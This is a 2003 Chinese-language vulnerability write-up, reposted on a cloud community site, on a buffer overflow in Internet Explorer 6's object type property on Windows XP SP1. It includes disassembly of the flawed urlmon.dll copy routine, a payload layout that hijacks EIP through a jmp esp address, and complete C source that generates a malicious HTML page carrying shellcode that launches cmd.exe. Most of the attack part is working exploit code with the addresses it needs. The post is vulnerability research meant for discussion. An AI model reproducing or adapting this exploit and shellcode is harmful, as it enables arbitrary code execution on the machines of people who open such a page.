【實戰】Internet Explorer Object Type Property Overflow 的研究心得

來源:互聯網
上載者:User
Internet Explorer Object Type Property Overflow 的研究心得

建立時間:2003-06-08
文章屬性:原創
文章提交:Nanika (minjack.tw_at_yahoo.com.tw)

Internet Explorer Object Type Property Overflow 的研究心得

Nanika@seed.net.tw or minjack.tw@yahoo.com.tw

測試系統WindowsXP_SP1繁體中文專業版

Iexplorer 6.00.2800.1106 (xpsp1.020828-1920)

Urlmon.dll 6.00.2800.1170

Msvcrt.dll 7.0.2600.1106 (xpsp1.020828-1920)

Shlwapi.dll 6.00.2800.1106 (xpsp1.020828-1920)

我提供一些我所研究的技術細節,給各位參考一下,讓大家來討論研究,寫出更通用的利用方法

簡單的Exploit:
建構如下的資料儲存成網頁檔案
<object type="////////////////////////////////////////////////////////////////BBBBAAAADDDD">CCCC</object>
使用IE開啟所建構的網頁

會 ret 44444444 可以改變程式流程

看起來很像傳統的堆疊溢位
但是有一點類似FSO
[64*/][BBBB][AAAA][DDDD][任意的地址(EDI)]
AAAA為EBP值
DDDD為EIP值
但是其後的資料不是ESP值
是EDI值
精心建構object type的一段資料
可以把這一段資料寫到
任意的地址

但是[任意的地址]中無法有00,若是有00則會往下取一各位的資料到任意的地址中,使得任意的地址的值,有一定的範圍,不能隨意的控制

而且定位方面也蠻困難的[任意的地址]之後只能在增加40bytes的資料來放shellcode

這是指RET使用jmp esp而言

若是參考
eEye Digital Security的說法使用jmp edx or call edx
則定位方面shellcode到程式中有一些問題

再分析詳細一點

緩衝區溢位的關鍵函數

urlmon.dll中的

.text:1A441CF6 sub_1A441CF6 proc near ; CODE XREF: .text:1A42590Ep
.text:1A441CF6
.text:1A441CF6 var_104 = byte ptr -104h
.text:1A441CF6 arg_0 = dword ptr 8
.text:1A441CF6 arg_4 = dword ptr 0Ch
.text:1A441CF6 arg_8 = dword ptr 10h
.text:1A441CF6
.text:1A441CF6 push ebp
.text:1A441CF7 mov ebp, esp
.text:1A441CF9 sub esp, 104h
.text:1A441CFF mov ecx, [ebp+arg_8]
.text:1A441D02 push esi
.text:1A441D03 mov esi, ecx
.text:1A441D05 mov cl, [ecx]
.text:1A441D07 test cl, cl
.text:1A441D09 lea eax, [ebp+var_104]
.text:1A441D0F mov [ebp+var_104], cl
.text:1A441D15 jz short loc_1A441D35
.text:1A441D17
.text:1A441D17 loc_1A441D17: ; CODE XREF: sub_1A441CF6+3Dj
.text:1A441D17 cmp cl, 2Fh
.text:1A441D1A jnz short loc_1A441D2B
.text:1A441D1C mov byte ptr [eax], 5Fh;把/(2f)展開成_2F_
.text:1A441D1F inc eax
.text:1A441D20 mov byte ptr [eax], 32h
.text:1A441D23 inc eax
.text:1A441D24 mov byte ptr [eax], 46h
.text:1A441D27 inc eax
.text:1A441D28 mov byte ptr [eax], 5Fh
.text:1A441D2B
.text:1A441D2B loc_1A441D2B: ; CODE XREF: sub_1A441CF6+24j
.text:1A441D2B inc esi
.text:1A441D2C mov cl, [esi]
.text:1A441D2E inc eax
.text:1A441D2F test cl, cl
.text:1A441D31 mov [eax], cl ;copy字串時產生了緩衝區溢位
.text:1A441D33 jnz short loc_1A441D17
.text:1A441D35
.text:1A441D35 loc_1A441D35: ; CODE XREF: sub_1A441CF6+1Fj
.text:1A441D35 lea eax, [ebp+var_104]
.text:1A441D3B push eax
.text:1A441D3C mov eax, [ebp+arg_4]
.text:1A441D3F push offset dword_1A441D5C
.text:1A441D44 dec eax
.text:1A441D45 push eax
.text:1A441D46 push [ebp+arg_0]
.text:1A441D49 call ds:wnsprintfA;因為這裡的原因,使得其後的覆寫不是ESP值,若是要繞過此區,必須填入一個不含00且可寫入的位置
.text:1A441D4F add esp, 10h
.text:1A441D52 xor eax, eax
.text:1A441D54 pop esi
.text:1A441D55 leave
.text:1A441D56 retn 0Ch;返回到DDDD的位置
.text:1A441D56 sub_1A441CF6 endp

若是要使用jmp esp的方法利用此漏洞,建構此類字串,即可

<object type="[/*64][BBBB][AAAA][jmpesp][0x30800101][A*8][shellcode40bytes]">CCCC</object>

AAAA為覆蓋的EBP值,要符合寬字元編碼

jmpesp為覆蓋的EIP值可以放入Ntdll 中jmp esp的地址77fb59cc,要符合寬字元編碼

0x30800101為一個可以寫入不包含00的位置,用來繞過call ds:wnsprintfA,要符合寬字元編碼

A*8此處運用不到,可以隨意的填入,要符合寬字元編碼

shellcode必須要注意的是,要符合寬字元編碼,各系統不一定相同,且只有40bytes
必須要盡量的最佳化程式

與eyas討論過利用方法,提出了
也可以利用此shellcode的地址放入一個"尋找"真正的惡意程式的realshellcode,然後把惡意程式的realshellcode放在<realshellcode><object type="[/*64][BBBB][AAAA][jmpesp][0x30800101][A*8][shellcode40bytes]">CCCC</object>,或是其它的地方,只要可以在記憶體中找到,就可以了

我使用了簡單的方法,寫了一個符合繁體中文版的shellcode,使用jmp esp,轉跳到shellcode

Exploit:

#include <direct.h>

#include <stdio.h>

#include <windows.h>

#include <sys/stat.h>

#include <winnls.h>

#include <lm.h>

unsigned char shellcode[27] =

"/x68/x63/x6d/x64/x20"//push cmd

"/x8b/xc4"//mov eax,esp

"/x50"//push eax

"/xB8/x44/x80/xbf/x77"//mov eax,system_fun_addr

"/xff/xd0"//call eax

"/x41/x41"//inc ecx = nop

"/xb8/xfd/x98/xe5/x77"//mov eax,ExitProcess_fun_addr

"/xff/xd0"//call eax

"/x41/x41";//inc ecx =nop

unsigned char eipaddr[5]=

"/xcc/x59/xfb/x77"; //jmp esp ntdll.dll addr 77fb59cc pass widechar

unsigned char pad[5]=

"/x30/x80/x10/x01";

unsigned char buf[65]="";

int j=0;

int i=0;

void main()

{

unsigned char temp;

unsigned char change;

char path[256];

FILE *bof;

struct stat st;

printf("/n/tBuffer overflow in Internet Explorer Object Type Property Overflow/n/tBig5 Unicode Exploit by Nanika/n/ttest WindowsXP_SP1 Big5 ver/n/tEmail:minjack.tw@yahoo.com.tw or Nanika@seed.net.tw/n");

strcpy(path,"//explorer_exp_Nanika");

mkdir(path);

SetFileAttributes(path,FILE_ATTRIBUTE_READONLY);

strcat(path,"//Exploit_IE_overflow.htm");

if (stat(path,&st)==0)

{ remove(path); exit(1);}//just execute this program twice to remote this file

bof=fopen(path,"w");

fputs("<object type=/"",bof);

for(i=0;i<sizeof(buf);)

{

buf[i++]=0x2f;

}

buf[sizeof(buf)-1]=0;

fprintf( bof, "%s", buf);//buff

fputs("AAAA",bof);//pad

fputs("AAAA",bof);//ebp

fprintf( bof, "%s", eipaddr); //ret -->jmp esp[ntdll]

fprintf( bof, "%s", pad); //edi

fputs("AAAAAAAA",bof);//pad

fprintf( bof, "%s", shellcode); //shellcode

fputs("/">CCCC</object>",bof);

fclose(bof);

printf("/nExploit file: %s Created./nif success open Exploit_IE_overflow.htm exec cmd.exe /ntry exe again will kill Exploit file/n",path);

}

利用方法除了上述的兩種方法之外,也可以考慮,利用call ds:wnsprintfA這裡,因為這裡可以寫入一段資料到任何的地址,但是必須準確的定位可寫入的位址,且需要符合寬字元編碼

接下來其它的漏洞利用方法可能需要各位高手的研究了

希望各位看了這篇文章有些許的收穫

謝謝各位的撥空閱讀thanks

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.